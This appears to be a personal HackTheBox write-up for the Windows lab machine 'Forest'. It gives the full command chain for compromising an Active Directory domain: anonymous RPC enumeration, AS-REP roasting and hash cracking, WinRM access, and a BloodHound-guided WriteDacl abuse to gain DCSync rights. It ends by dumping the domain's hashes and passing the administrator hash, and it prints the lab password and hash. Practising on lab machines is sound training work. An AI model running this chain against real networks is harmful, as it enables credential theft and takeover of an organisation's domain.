Hackthebox - Forest

  • Windows

Forest

Nmap

Port 135 and 593 - RPC

  • Enumerate users rpcclient -U "" -c "enumdomusers" -N 10.10.10.161

  • Enumerate privilege rpcclient -U "" -c "enumprivs" -N 10.10.10.161

  • Get domain info rpcclient -U "" -c "querydominfo" -N 10.10.10.161

  • Emumerate domain groups

  • rpcclient -U "" -c "queryuser andy" -N 10.10.10.161 get info on users

  • Let's try to kerberoast.

  • The domain is HTB python3 /opt/impacket/examples/GetNPUsers.py -dc-ip 10.10.10.161 htb/svc-alfresco -no-pass

  • Now we can crack the password with hashcat hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt And we get the password it is s3rvice

hashcat
  • Let's try to get a shell with evil-winrm evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'

Privesc

  • Let's upload winpeas with evil-winrm it is easy we just have to use the upload command upload /home/kali/Documents/hackthebox/forest/winPEASany.exe

  • Let's also take powerup

  • This does not really go anywhere.

  • Let's use Bloodhound, after all the box is named "forest"

Bloodhound
  • This node is particularly interesting for us

CanPSRemote
  • According to this article we can access to File Shares.

  • net view FOREST.HTB.LOCAL

  • New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)

  • net group "EXCHANGE WINDOWS PERMISSIONS" svc-alfresco /add /domain

  • We did not go very far with this.

  • We could also try to abuse this WriteDacl permission that the group "Exchange Windows Permissions has"

  • Our user svc-alfresco is able to add users.

  • Here are the Abuse info from bloodhound

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. You may need to authenticate to the Domain Controller as a member of EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL if you are not running a process as a member. To do this in conjunction with Add-DomainObjectAcl, first create a PSCredential object (these examples comes from the PowerView help documentation):

Then, use Add-DomainObjectAcl, optionally specifying $Cred if you are not already running a process as EXCHANGE WINDOWS PERMISSIONS@HTB.LOCAL:

Once you have granted yourself this privilege, you may use the mimikatz dcsync function to dcsync the password of arbitrary principals on the domain

  • First let's import Powerview . .\Powerview.ps1 was not working what worked was Import-Module .\PowerView.ps1

  • Let's add a user net user gabrielle gabrielle@123 /add /domain

  • Let's add it to the group with WriteDacl permission net group "Exchange Windows Permissions" /add gabrielle

  • Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity gabrielle -Rights DCSync we use Add-DomainObjectAcl

  • Finally we just need to dump hashes with secretdumps secretsdump.py htb.local/gabrielle:gabrielle@123@10.10.10.161

  • We get the admin hash this way

  • Let's connect as Administrator using the hash evil-winrm -i 10.10.10.161 -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 and get the root flag type ../Desktop/root.txt

Last updated